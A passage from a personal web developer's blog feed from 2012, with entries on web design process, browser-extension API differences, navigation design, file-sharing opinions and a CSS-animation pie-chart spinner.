&lt;p&gt;I then sketched out a few ideas and moved, perhaps unusually, to playing around with the navigation in Remy Sharp&amp;#8217;s fabulous &lt;a href='http://jsbin.com'&gt;JS Bin&lt;/a&gt;. The sketches show a dark square with a border underneath, but I just couldn&amp;#8217;t get this to look right, so I tried a sort of speech bubble, and suddenly it made sense. This, for me, is the stage of designing in the browser where those happy accidents occur. The instant feedback from live updates makes rapid iteration very easy and alot of fun.&lt;/p&gt;

&lt;p&gt;&lt;img alt='Goals and contraints' src='/images/new_sketches_layout.jpg' /&gt;&lt;/p&gt;

&lt;p&gt;I then sketched out a rough layout so I could figure out where the key grid columns should go. You can see from this sketch that I was thinking of having a work showcase down the right hand side, but in the end I opted for a mini-bio. The sketch is very rough – as mentioned, I like to work mostly in browser.&lt;/p&gt;

&lt;p&gt;From there I just jumped straight in the browser. The site&amp;#8217;s built using on Jekyll, so I have that running in auto mode on my command line. It automatically regenerates the site every time any files change, and is also a little web server so I can (almost) instantly refresh the browser to see how things are looking. I also use LESS (and CoffeeScript), compiled by Codekit, to make CSS development a more pain free process.&lt;/p&gt;

&lt;p&gt;With LESS I try to move all references to color from the rules to a group of variables at the top of the document. This makes changing things down the line significantly easier, although I must admit that on this design I was a little lax on that rule.&lt;/p&gt;

&lt;p&gt;&lt;img alt='The Grid' src='/images/grid.jpg' /&gt;&lt;/p&gt;

&lt;p&gt;As I was building the pages I was modifying Gridset until I got the set of layouts I wanted. For desktop-sized browsers I&amp;#8217;m using a compound grid where two &amp;#8216;Golden&amp;#8217; grids (4 &amp;amp; 5 column) are combined to give a complex set of possible layouts, with a common gutter at around three-quarters of the full width, from the left. &lt;a class='gridder' href='#'&gt;See the grid in action&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The grid builder is very easy to use and intuitive, although it would be nice to be able to set the gutter size in ems, as well as pixels and %. The predefined classes, like &lt;em&gt;-pad and&lt;/em&gt;-padinfull, never seemed to work quite right for me; perhaps a symptom of doing something wrong.&lt;/p&gt;

&lt;p&gt;Honestly, my first attempt at using a compound grid was not an enormous sucess as the grid I came up with is slighly awkward to work with. And with a vertical grid layout you have to think, and markup, somewhat vertically, meaning it&amp;#8217;s difficult to break out of the grid horizontally, especialy in a CMS-like environment. Perhaps this is limitation of Gridset, or perhaps it&amp;#8217;s something I&amp;#8217;m doing.&lt;/p&gt;

&lt;p&gt;All that said, Gridset was a pleasure to work with and theres&amp;#8217;s so much I haven&amp;#8217;t mentioned about the site and my experience with Gridset. The ease with which an adaptive layout can be thrown together is brilliant, as is the documentation that&amp;#8217;s generated for your grid. Great work Mark Boulton &amp;amp; co; I&amp;#8217;d highly reccommend trying out Gridset for yourself.&lt;/p&gt;

&lt;p&gt;I hope you enjoyed a little insight into how this site was designed &amp;amp; built, and if you learned anything then that&amp;#8217;s a bonus. It&amp;#8217;s nothing special, but I find that reflective posts like this are good for me to figure out my process and what I could be doing better.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Radio Silence</title>
   <link href="http://phuu.net/2012/07/02/radio-silence.html"/>
   <updated>2012-07-02T21:50:00+01:00</updated>
   <id>http://phuu.net/2012/07/02/radio-silence</id>
   <content type="html">&lt;p&gt;I had a very productive day yesterday. I could attribute this to a number of things; for example, I’ve noticed that lines of code written is inversely proportional to number of biscuits consumed. It could also be that I’m feeling extremely motivated by what I’m &lt;a href='https://github.com/phuu/extensio'&gt;working on&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;However, I made a change yesterday that I think was much more likely to have had an effect.&lt;/p&gt;

&lt;p&gt;I turned off Growl.&lt;/p&gt;

&lt;p&gt;(For those who don’t use it, Growl is a little utility that provides desktop notifications for a whole range of apps.)&lt;/p&gt;

&lt;p&gt;Here’s when it pops up:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HipChat gets a message&lt;/li&gt;

&lt;li&gt;Twitter finds a mention&lt;/li&gt;

&lt;li&gt;Rdio changes track&lt;/li&gt;

&lt;li&gt;Transmit finishes transferring&lt;/li&gt;

&lt;li&gt;Codekit’s done compiling&lt;/li&gt;

&lt;li&gt;Skype message&lt;/li&gt;

&lt;li&gt;Cloudapp’s finished uploading&lt;/li&gt;

&lt;li&gt;more&amp;#8230;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Given that I’m on HipChat all day, use Twitter, Codekit and Cloudapp heavily and have Rdio on &lt;strong&gt;all&lt;/strong&gt; the time, that’s a fair few notifications. But I didn’t realise how heavily I was being bombarded until suddenly there was silence.&lt;/p&gt;

&lt;p&gt;It was fantastic.&lt;/p&gt;

&lt;p&gt;Seriously, try it. Detach yourself from real-time updates and find your focus again.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Dreaming of browser extensions</title>
   <link href="http://phuu.net/2012/07/02/dreaming-of-browser-extensions.html"/>
   <updated>2012-07-02T11:00:00+01:00</updated>
   <id>http://phuu.net/2012/07/02/dreaming-of-browser-extensions</id>
   <content type="html">&lt;p&gt;Browser extensions are a really neat way of integrating straight into web browser UI, a place people are spending an increasing amount of time, while also offering a unique opportunity to embed actions directly into the familiar UI of services like Twitter and Facebook. In fact, half of all updates Buffer sends come from the extensions, with Chrome alone contributing around 40% (more than any other single source).&lt;/p&gt;

&lt;p&gt;However, the API for extension development is totally different in each browser, creating a serious headache when maintaining and improving anything approaching complex. Chrome is, perhaps, the easiest to work with, but I don’t want to leave the other browsers behind, so I’m working on a library that will normalise the APIs for a better extension development workflow. The deployment workflow is different again for each browser, but I won’t get into that here.&lt;/p&gt;

&lt;h3 id='what_makes_an_extension'&gt;What makes an extension?&lt;/h3&gt;

&lt;p&gt;Browser extensions are, in general, made of two things: background pages and content scripts. There is only one background page per-extension per-browser-instance, but the background page may inject content scripts any number of times into any number of open tabs. The content scripts are sandboxed away from the page into which they are injected, except in that they share access to the same DOM. There is, of course, more functionality that this, but that’s the general idea.&lt;/p&gt;

&lt;p&gt;The content-script aspect of the Buffer extensions is split into two parts: the ‘embed’ and ‘overlay’ code that is shared by all three extensions (a separate repository, using git submodule), and some browser specific code. The browser-specific code puts in place a number of objects that allow the same functions to be called in the shared code, no matter which browser. This (mostly) works, although the differing ways in which the contents scripts are injected (I’ll get to that later) means that sometimes some bodging is necessary to make sure things work. I want the library to abstract away all worrying about how the script is injected so that it ‘just works’.&lt;/p&gt;

&lt;p&gt;That said, right now it works quite well. Mostly, I can add a feature to the shared code and have it work out of the box in the other browsers.&lt;/p&gt;

&lt;p&gt;Once you move to the background page things change again as we’re back using the browser-specific API and methodologies. This is where the headache starts; shifting from one browser to another to add background page functionality requires a full brain-reset. Forgive me for going into detail; this post is as much for me to sort it out it my head than for anyone else!&lt;/p&gt;

&lt;h3 id='contentscript_injection'&gt;Content-script injection&lt;/h3&gt;

&lt;p&gt;In Chrome, content-scripts are specified in the manifest.json file found in the root of the extension directory. They follow a schema where you specify a set of URL-match patterns and an array of scripts (and stylesheets) to be injected if the tab URL matches the pattern. It’s up to the programmer to set up communication between the script and the background page (again, more on that later). Reasonably simple, powerful and easy to use. Chrome also provides a programmatic injection.&lt;/p&gt;

&lt;p&gt;In Firefox, you use their pageMod API to add scripts to a page using a similar (but very limited) URL match. You can inject Javascript and CSS (a recent addition), and you may also pass a callback which is passed a worker. The worker (not quite the same as a WebWorker) has a port property through which you can communicate with the injected content script (and any others injected into the same page).&lt;/p&gt;

&lt;p&gt;In Safari there are, like Chrome, two ways to inject a script. The Extension Builder interface allows you to specify a list of scripts to be injected and a white/black-list of URLs, but the lists apply to all content scripts and it’s therefore a somewhat ham-fisted way of doing it. The Builder actually modifies an Info.plist located in the root directory of the extension, so in this sense it’s quite similar to Chrome but plist is not nearly as user-friendly as json. Safari also allows programatic injection of Javascript and CSS, but again it’s up to the programmer to set up communication between content script and background page.&lt;/p&gt;

&lt;p&gt;It’s clear that the commonality between all three is programmatic injection, so any library would have to normalise this API, allowing a simple method for specifying which scripts should be injected, and where. I prefer the json method, but it seems that it’s not workable. Perhaps there’s a happy middle ground here somewhere, in the form of a &lt;a href='https://github.com/cowboy/grunt'&gt;grunt&lt;/a&gt;-style object passed to some kind of registration method.&lt;/p&gt;

&lt;h3 id='backgroundpage__contentscript_communication'&gt;Background-page &amp;amp; content-script communication&lt;/h3&gt;

&lt;p&gt;As mentioned, the next problem is how to communicate betwixt background page and content script. The concepts and APIs are again different, as is the persistence of the connection.&lt;/p&gt;

&lt;p&gt;Chrome has two methods of communication between the two aspects of the extension. One is a simple, one-off message passing API with optional response callback. The other is a persistent connection using a Port object with a DOM-like event API (e.g. port.onMessage.addListener), although it is sufficiently different as to be annoying but close enough to be be confusing.&lt;/p&gt;

&lt;p&gt;Firefox uses the previously mentioned worker port which has a nodejs-style EventEmitter that exposes on and emit methods. I much prefer this style, for brevity as much as anything else. Replicating this style in the new library seems to make sense as it fits with the other, previously considered, API styles.&lt;/p&gt;

&lt;p&gt;Safari uses the concept of a Proxy interface, similar to Chrome’s Port, that allows messages to be sent and listened for using another event listener API, this time much closer to the DOM API, including the option to fire during the capture phase. However, in Safari a Proxy is not an object but a set of methods that a number of objects implement. That is, you can attach handlers to a tab, window or the Safari application itself. The exact object used for dispatching events changes according to which side of the background page/content script divide (although the two objects are annoyingly similarly named). Since it’s possible to detect which side we are on this shouldn’t present to much of an issue.&lt;/p&gt;

&lt;h3 id='conclusion_of_sorts'&gt;Conclusion, of sorts&lt;/h3&gt;

&lt;p&gt;It’s important also to say that this is, by far, not the full extent of the differences. The limitations of the sandbox model for content scripts differs from browser to browser, as does the way in which you extend the browser’s native UI. Other APIs are missing in some browsers (notably hotkeys in Chrome &amp;amp; Safari – although they are on the way, at least in Chrome), so there would have to be a way of filling these gaps too.&lt;/p&gt;

&lt;p&gt;I should mention, I want this library to be run-everywhere. It should work equally well when included in the background page as when injected as a content script. Absolutely ideally I should be able to write and extension once and run it everywhere, but that’s a pipe dream. Some collaboration between the browser vendors on how to implement extension APIs would make this possible, especially as I believe that extensions, and apps for Chrome, are going to become increasingly important. I really don’t want to see a divergence of platform capabilities so that what an extension can to in Chrome far out-guns what’s possible in Safari. Safari was late to the game in implementing extensions and their API is very, well, Appleish. Firefox’s is, in parts, very Mozillaish (right down to the multiple other ways of making extensions, all not mentioned here). Perhaps it’s another case of Google not having to stick to precedents set by legacy codebases that may well be found in the other browsers (especially Firefox).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: the library, currently in the early stages of development, can be found on &lt;a href='https://github.com/phuu/extensio'&gt;github&lt;/a&gt;.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Iteration</title>
   <link href="http://phuu.net/2012/06/28/iteration.html"/>
   <updated>2012-06-28T00:00:00+01:00</updated>
   <id>http://phuu.net/2012/06/28/iteration</id>
   <content type="html">&lt;p&gt;I can&amp;#8217;t stick with a personal site design for more that five minutes it seems. It might be pink next time you&amp;#8217;re here.&lt;/p&gt;

&lt;p&gt;I&amp;#8217;m going for short form posts, with a focus on code and techniques. Quick hints and such. Hopefully that&amp;#8217;ll allow me to write more often.&lt;/p&gt;

&lt;p&gt;Calluna &amp;amp; Calluna Sans are lovely.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Design for the Web: Pathways</title>
   <link href="http://phuu.net/2012/05/22/design-for-web-pathways.html"/>
   <updated>2012-05-22T00:00:00+01:00</updated>
   <id>http://phuu.net/2012/05/22/design-for-web-pathways</id>
   <content type="html">&lt;p&gt;This is the second article in a series looking at the fundamentals of designing for the web. This time, I&amp;#8217;m looking at links between information to figure out what makes great pathway design.&lt;/p&gt;

&lt;p&gt;In the first article I looked at what&amp;#8217;s different about the web, and designing for it, compared to more traditional media like print or industrial design. The two key elements are structured information, not unique to the web, and the links between information.&lt;/p&gt;

&lt;h3 id='what_makes_great_pathway_design'&gt;What makes great pathway design?&lt;/h3&gt;

&lt;p&gt;The first thing that comes to mind when we talk about designing pathways between information is site navigation. I&amp;#8217;ve deliberatly tried to avoid references to ‘navigation’ becuase, while it is a good term, it has the connotations of large menus and dropdowns, both of which are examples of poor pathway design.&lt;/p&gt;

&lt;p&gt;I use the word pathway becuase I mean the steps taken by a user in getting from seeking a piece of information to finding it, or in discovering related content.&lt;/p&gt;

&lt;p&gt;Great pathway design must make the process of seeking and discovery as simple and intuitive as possible.&lt;/p&gt;

&lt;p&gt;In a site with little content this is simple – you have five pages? Clearly display links to those five pages and make them easy to click. But what about an enormous site with many layers of content? Displaying everything is absolutely the worst thing to do.&lt;/p&gt;

&lt;p&gt;Here&amp;#8217;s an example of when it goes wrong, from &lt;a href='http://direct.gov.uk'&gt;Direct.gov.uk&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt='Direct.gov.uk - Oh dear.' src='http://i.phuu.net/0h0X23361W3Q020U3q0S/Screen%20Shot%202012-05-22%20at%2016.51.20.png' /&gt;&lt;/p&gt;

&lt;p&gt;The high density of information, with many elements vying for attention, makes this site horribly unusable. The site&amp;#8217;s header is also vibrant orange, which doesn&amp;#8217;t help.&lt;/p&gt;

&lt;p&gt;There&amp;#8217;s no clear information heirachy and, as the next screenshot will show, your eye is drawn away from most important content on the page by pullout boxes.&lt;/p&gt;

&lt;p&gt;&lt;img alt='Direct.gov.uk - Where is you eye supposed to go?' src='http://i.phuu.net/3E3P0L3W170i041g3q2y/Screen-Shot-2012-05-22-at-16.51.20---blur.jpg' /&gt;&lt;/p&gt;

&lt;p&gt;Are you drawn to the main content – the list of key areas of the site – or to the colourful social media icons in the lower left?&lt;/p&gt;

&lt;p&gt;Certainly the icons are not where you should be looking.&lt;/p&gt;

&lt;p&gt;This is poor pathway design.&lt;/p&gt;

&lt;p&gt;One option on a content heavy site is search, and &lt;a href='http://gov.uk'&gt;gov.uk&lt;/a&gt; has done it very well.&lt;/p&gt;

&lt;p&gt;&lt;img alt='gov.uk gets it right' src='http://i.phuu.net/441n400s2Y3d1A3U3I3h/Screen%20Shot%202012-05-22%20at%2017.03.02.png' /&gt;&lt;/p&gt;

&lt;p&gt;Front and center is an intelligent search bar that makes suggestions as you type. Beneath is roughly the same information found on Direct.gov.uk, but this time it&amp;#8217;s given room to breath, and the eye is not distracted by all manner of irrelevant page-stuffing.&lt;/p&gt;

&lt;p&gt;It works becuase, even if you know what you are looking for, it&amp;#8217;s much faster to type than to read a list looking for the correct option.&lt;/p&gt;

&lt;p&gt;A search bar also allows the user to express the information they are looking for in their own terms – it doesn&amp;#8217;t require them to have the same mental model of the information as the person who ‘designed’ the page, as seach will pick out keywords from the actual content, not someone&amp;#8217;s summary of it.&lt;/p&gt;

&lt;p&gt;There are other clues on this page that thought has gone into pathway design; the Browse section is sorted alphabetically and is kept short, and Popular topics are highlighted to the right.&lt;/p&gt;

&lt;p&gt;Gov.uk serves the exact same content as Direct.gov.uk, but which site would you rather use?&lt;/p&gt;

&lt;p&gt;Gov.uk is a joy to use because of great pathway design and thoughtful planning.&lt;/p&gt;

&lt;p&gt;Next time I&amp;#8217;ll go further into gov.uk and explore what they&amp;#8217;re doing to build pathways between related information, and to assist users in getting what they need.&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>What cultural web issue would you like solved, tomorrow?</title>
   <link href="http://phuu.net/2012/05/15/what-is-the-biggest-issue-for-web-community.html"/>
   <updated>2012-05-15T00:00:00+01:00</updated>
   <id>http://phuu.net/2012/05/15/what-is-the-biggest-issue-for-web-community</id>
   <content type="html">&lt;p&gt;The web is experiencing growing pains, with legistators across the world try to catch up with the unparralled speed of communucation and change. Some feel strongly that internet and the web that sits atop it should be regulated not by government, but by its community. Others would have it tightly locked down with many of the same (or tighter) restrictions than in the &amp;#8216;real&amp;#8217; world.&lt;/p&gt;

&lt;p&gt;I asked Twitter for thoughts; I&amp;#8217;ll quote them here, and respond. If you have anything to add to the discussion, just email me.&lt;/p&gt;

&lt;p&gt;We begin with file-sharing.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Legalise file sharing! The [opposition are] making a it bigger problem than it is. I think legalising it would make the content-creating industry find better ways of getting their content to us&amp;#8230; file sharing is the symptom of a system which is already broken.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;cite class='twitter'&gt;&lt;a href='//twitter.com/davidharrison92'&gt;davidharrison92&lt;/a&gt;&lt;/cite&gt;
&lt;p&gt;I find this issue of file-sharing fascinating. An over-simplified viewpoint might say, “I&amp;#8217;m entitled to lend a CD to a friend who could rip it to her computer – so why can&amp;#8217;t I share those files over the internet?”&lt;/p&gt;

&lt;p&gt;But it doesn&amp;#8217;t take much to realise that a key difference here is scale – I can&amp;#8217;t realistically share a CD with the world, but I certainly can share a torrent file.&lt;/p&gt;

&lt;p&gt;Dave here picks up on the issue being symtomatic of a greater problem, and I think that&amp;#8217;s definitely true. Regardless of the moral implications, the traditional media publishing is &lt;strong&gt;broken&lt;/strong&gt;, but the solution isn&amp;#8217;t clear cut. That said, there are many who&amp;#8217;ve embraced the changed and are benefiting greatly from it. Seth Godin is a perfect example.&lt;/p&gt;

&lt;p&gt;The change in content distribution model has shifted power away from the publishers into the hands of the author and the consumer. Needless to say, I&amp;#8217;m all for that.&lt;/p&gt;

&lt;p&gt;Andy Higgs, a fellow &lt;a href='//multipack.co.uk' title='Multipack'&gt;Multipacker&lt;/a&gt;, brought up something that could help solve this problem. Here&amp;#8217;s his tweet, vertabim.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Ubiquitous, cheap, standard, connected micro payment systems, because it is an economic floodgate for certain services.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;cite class='twitter'&gt;&lt;a href='//twitter.com/aajhiggs'&gt;aajhiggs&lt;/a&gt;&lt;/cite&gt;
&lt;p&gt;I can&amp;#8217;t wait for this to be widely available. I already love services like &lt;a href='//gumroad.com' title='Gumroad'&gt;Gumroad&lt;/a&gt; that are designed to handling payment for anything you can share as a link, but it would be nice to cut out the middle man and have seamless payment from one person to another.&lt;/p&gt;

&lt;p&gt;I should say, I&amp;#8217;m totally naive to the tax implications of this, so it could be a pipe dream!&lt;/p&gt;

&lt;p&gt;Rich Cunningham (&lt;a href='//twitter.com/rythie' title='@rythie'&gt;@rythie&lt;/a&gt;) pointed out that it “seems like we&amp;#8217;ve had a decade of people trying”. Perhaps this is a very difficult problem, although I suspect it has to do with the deals any disruptive startup in this space would have to make with the banks; monolithic institutions that are (rightly?) resistant to change.&lt;/p&gt;

&lt;p&gt;There&amp;#8217;s evidence things are changing though, with companies like &lt;a href='//stripe.com' title='Stripe'&gt;Stripe&lt;/a&gt; making waves; waves that are, to a great extent, limited to the US right now.&lt;/p&gt;

&lt;p&gt;Do you have an opinion? &lt;a href='mailto:tom@phuu.net'&gt;Email me&lt;/a&gt; &amp;#8211; I&amp;#8217;d love to hear your thoughts – if you have something interesting to say, I&amp;#8217;ll publish it here.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Design for the Web: Fundamentals</title>
   <link href="http://phuu.net/2012/05/03/design-for-the-web-fundamentals.html"/>
   <updated>2012-05-03T00:00:00+01:00</updated>
   <id>http://phuu.net/2012/05/03/design-for-the-web-fundamentals</id>
   <content type="html">&lt;p&gt;In a series of short essay-style articles looking at designing for the web, I want to go back to fundamental concepts and evaluate, as a learning experience for myself, what it is to design for the web. This is the first.&lt;/p&gt;

&lt;h3 id='what_is_fundamentally_different'&gt;What is fundamentally different?&lt;/h3&gt;

&lt;p&gt;The first question I&amp;#8217;d like to ask is this: what is fundamentally different about the web? What about it is distinct from creating things that are held or felt or operated?&lt;/p&gt;

&lt;p&gt;Definitions of design abound, and I&amp;#8217;m willing cliché when I quote Steve Jobs, on Apple&amp;#8217;s products:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Most people think [design] is how they look. But it&amp;#8217;s not&amp;#8230; it&amp;#8217;s how they work.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So what is it that is different about how the web &lt;strong&gt;works&lt;/strong&gt; in comparison to any other medium?&lt;/p&gt;

&lt;p&gt;Anything that carries a message, that is, anything that does not serve a purely aesthetic purpose, is holding information, and it is the purpose of the design to convey that information. It is the job of the designer to choose the best, or most suitable (in a lot of cases), way to convey that information to another person.&lt;/p&gt;

&lt;p&gt;Often the information that the designer seeks to convey is structured; think, perhaps, of a train departure board at a large station. What are the viewer of that board&amp;#8217;s priorities? First, they look for where are they going – the destination is very important, as it holds the key to all the other information. Next is the time and the platform. Other information is secondary to these.&lt;/p&gt;

&lt;p&gt;This information is structured; the time and platform relate to the destination of a particular train, and will be many trains going to many destinations. A design that makes it trivial to finding a desitination, and associated time and platform, will be successful.&lt;/p&gt;

&lt;p&gt;On the web we will, potentially more often, be conveying just such structured information: a database of users; a directory map; an article with headings and paragraphs. Choosing the way this is information is displayed, or relvealed, is a challenge across all media. This is not unique, but it is one half of the puzzle.&lt;/p&gt;

&lt;p&gt;The other half is almost unique to the web; we are designing pathways, from one piece of information to another. The internet allows an uprecedented level of connectivity with others, but it also provides astoudingly fast transitions from place to place, dataset to dataset, article to article. The links between these items, the hyperlinks, are the second piece of the puzzle.&lt;/p&gt;

&lt;p&gt;There are two obvious places where the pathways are important: site navigation and page links. For a site with a breadth and depth of information, navigation is a constant challenge; one that is not always successfully overcome.&lt;/p&gt;

&lt;p&gt;When we design for the web, we are designing to convey structured information and the pathways to and from other datums. These pathways are, to return to our quotation, how the web works.&lt;/p&gt;

&lt;p&gt;In the next article, I want to look at the significance of pathways and figure out what makes great navigation and information-linking design.&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>CSS Triangles + Animations = Pie Chart Spinner</title>
   <link href="http://phuu.net/2012/05/01/html-css-only-spinner.html"/>
   <updated>2012-05-01T00:00:00+01:00</updated>
   <id>http://phuu.net/2012/05/01/html-css-only-spinner</id>
   <content type="html">&lt;p&gt;&lt;strong&gt;tl;dr&lt;/strong&gt; With CSS Masks, Animations, Triangles and some sweat, you can make &lt;a href='/demos/spinner/final.html'&gt;this&lt;/a&gt;. Needs Webkit (sorry).&lt;/p&gt;

&lt;p&gt;Here&amp;#8217;s the story:&lt;/p&gt;

&lt;p&gt;Stuart Langridge (&lt;a href='//twitter.com/sil'&gt;@sil&lt;/a&gt;) threw down a challenge (possibly by accident) on Twitter:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;anybody think of a good way to do a circular countdown timer via css animations? An animated gif is doing my head in.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
&lt;p&gt;it feels like I ought to be able to do this with radial gradients, if I were clever enough :)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Changle accepted, Mr Langridge. A circular countdown timer? Consider it&amp;#8230; on the way.&lt;/p&gt;

&lt;p&gt;My initial thoughts were:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;animate a rectangle&amp;#8217;s height and width to trace the outline of a circle&amp;#8230; but that was stupid.&lt;/li&gt;

&lt;li&gt;have a number of triangles that appear in sequence (much like Stuart&amp;#8217;s own method), but I couldn&amp;#8217;t see how to animate it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Since filling in the circle was essentially drawing an increasingly wide segment, and as there&amp;#8217;s no way to do this in CSS, I wondered if I could use the CSS triangle technique and a mask to achieve the effect.&lt;/p&gt;

&lt;p&gt;For those unfamiliar with it, the CSS triangle technique is styling an element such that is has 0 height and width, but thick borders, and so by making all but one border transparent, you make a triangle. Like so:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='css'&gt;
.triangle { /* You'll want this to be a block level element */
  width: 0px; height: 0px;
  border-width: 20px;
  border-style: solid;
  border-color: transparent;
  border-top-color: black;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each border segment is a quarter of the overall area of the shape, and I reckoned that I could sequentially fill in each segment as needed with CSS animations. Hopefully the sketch below will illustrate.&lt;/p&gt;

&lt;p&gt;&lt;img alt='Segment filling  animation' src='http://i.phuu.net/1g1g153Z2Y471K341o1c/IMAG0329.jpg' /&gt;&lt;/p&gt;

&lt;p&gt;The problem with this is that all of the filled segment is visible, so I needed to mask the area where there shouldn&amp;#8217;t be any &amp;#8216;fill&amp;#8217; with the background colour of the loader. I&amp;#8217;d need three elements - a container, an &amp;#8216;inner&amp;#8217; (which would be the filled segment) and a mask. The next diagram should show this better.&lt;/p&gt;

&lt;p&gt;&lt;img alt='Mask number 1' src='http://i.phuu.net/3j2s2G3V0u3m0Q291h1I/IMAG0330.jpg' /&gt;&lt;/p&gt;

&lt;p&gt;But there&amp;#8217;s a problem&amp;#8230; how do you make the whole thing a circle? Border radius? I tried some combinations of radii, overflow hidden and background clip, but none of those combinations seemed to work. In the end I settled for a CSS mask using a radial gradient. That was a mission in and of itself, but that&amp;#8217;s another story&amp;#8230;&lt;/p&gt;

&lt;p&gt;With some CSS animation magic I had the basic mask &amp;#38; segment animation working. You can see a demo &lt;a href='/demos/spinner/one.html'&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt='In action' src='http://i.phuu.net/281e410y1g2W3a0I3m06/Screen%20Shot%202012-05-01%20at%2020.56.52.png' /&gt;&lt;/p&gt;

&lt;p&gt;The animation CSS for the inner looks something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='css'&gt;
@-webkit-keyframes inner {
  0% {
    -webkit-transform: rotate(-45deg);
  }
  25% {border-left-color:transparent;}
  26% {
    border-left-color:  rgba(200,200,200,1);
  }
  50% {border-bottom-color:transparent;}
  51% {
    border-bottom-color:  rgba(200,200,200,1);
  }
  75% {border-right-color:transparent;}
  76% {
    border-right-color:  rgba(200,200,200,1);
  }
  100% {
    -webkit-transform: rotate(315deg);
    border-left-color:  rgba(200,200,200,1);
    border-bottom-color:  rgba(200,200,200,1);
    border-right-color:  rgba(200,200,200,1);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The mask, like this:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='css'&gt;
@-webkit-keyframes mask {
  0% {
    -webkit-transform: rotate(-45deg);
  }
  75% {
    -webkit-transform: rotate(-45deg);
  }
  100% {
    -webkit-transform: rotate(45deg);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, I had to figure out how to move the mask so that the fill could continue it&amp;#8217;s journey round the circle. I tried to animate the mask to be a narrower and narrower segment, but I found I couldn&amp;#8217;t do it (maths not being my strong point), so I brute forced it&amp;#8230; with a second mask.&lt;/p&gt;

&lt;p&gt;This mask would sit in the top-right segment of the circle, and would only appear when the fill had gone past 25%. Since it would be on top of the first mask, and the same colour as the fill, it could hide the mask moving round the circle, and create the illusion of a decreasing segment.&lt;/p&gt;

&lt;p&gt;A mask–mask.&lt;/p&gt;

&lt;p&gt;The animation CSS for this mask looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='css'&gt;
@-webkit-keyframes mask-two {
  0% {
    opacity: 0;
  }
  25% {
    opacity: 0;
  }
  26% {
    opacity: 1;
  }
  100% {
    opacity: 1;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can see the first working version of that in &lt;a href='/demos/spinner/two.html'&gt;Demo Two&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;After that it was improvements and tweaking. There are too many little things that would take way to long, but the end product I&amp;#8217;m pretty happy with. I&amp;#8217;m sure there&amp;#8217;s parts that could be much better!&lt;/p&gt;

&lt;p&gt;Check it out &lt;a href='/demos/spinner/final.html'&gt;here&lt;/a&gt; on a recent Webkit browser.&lt;/p&gt;

&lt;p&gt;Thanks for reading, that was a long one – I&amp;#8217;ll write a more concise tutorial format version soon, perhaps.&lt;/p&gt;

&lt;p&gt;PS. I then went a wee bit crazy with Webkit filters and animation, and created &lt;a href='/demos/spinner/crazy.html'&gt;this&lt;/a&gt; monstrosity. That baby needs something that&amp;#8217;s Chrome Canary-ish or more recent. Woo.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Users are the Inspiration</title>
   <link href="http://phuu.net/2012/04/22/users-are-the-inspiration.html"/>
   <updated>2012-04-22T00:00:00+01:00</updated>
   <id>http://phuu.net/2012/04/22/users-are-the-inspiration</id>
   <content type="html">&lt;p&gt;It means a huge amount to me that I&amp;#8217;m working on a product people use every day, and I feel a great deal of responsibility to each and every one of our users.&lt;/p&gt;

&lt;p&gt;There are two reasons you should put in the time to answer support emails: because you want to fix bugs in your product, and because it&amp;#8217;s one of the few times you actually get to &lt;strong&gt;talk&lt;/strong&gt; with your customers (don&amp;#8217;t forget, they are customers too).&lt;/p&gt;

&lt;p&gt;That interface time is invaluable.&lt;/p&gt;

&lt;p&gt;There are two reasons you should put hours into fixing that really rare bug: because you&amp;#8217;re a hardcore perfectionist, and because you care about making your product an incredible experience for &lt;strong&gt;all&lt;/strong&gt; of your users.&lt;/p&gt;

&lt;p&gt;Build it great; they will come and they will share.&lt;/p&gt;

&lt;p&gt;There are two reasons you should treat all your users with the same time and attention: those that are paying you are the reason you can feed yourself, and those who aren&amp;#8217;t paying you yet, aren&amp;#8217;t paying you &lt;strong&gt;yet&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Happy users turn into paying users.&lt;/p&gt;

&lt;p&gt;For me, users are the inspiration.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>How to Begin Working at a Startup</title>
   <link href="http://phuu.net/2012/04/19/starting-at-buffer.html"/>
   <updated>2012-04-19T00:00:00+01:00</updated>
   <id>http://phuu.net/2012/04/19/starting-at-buffer</id>
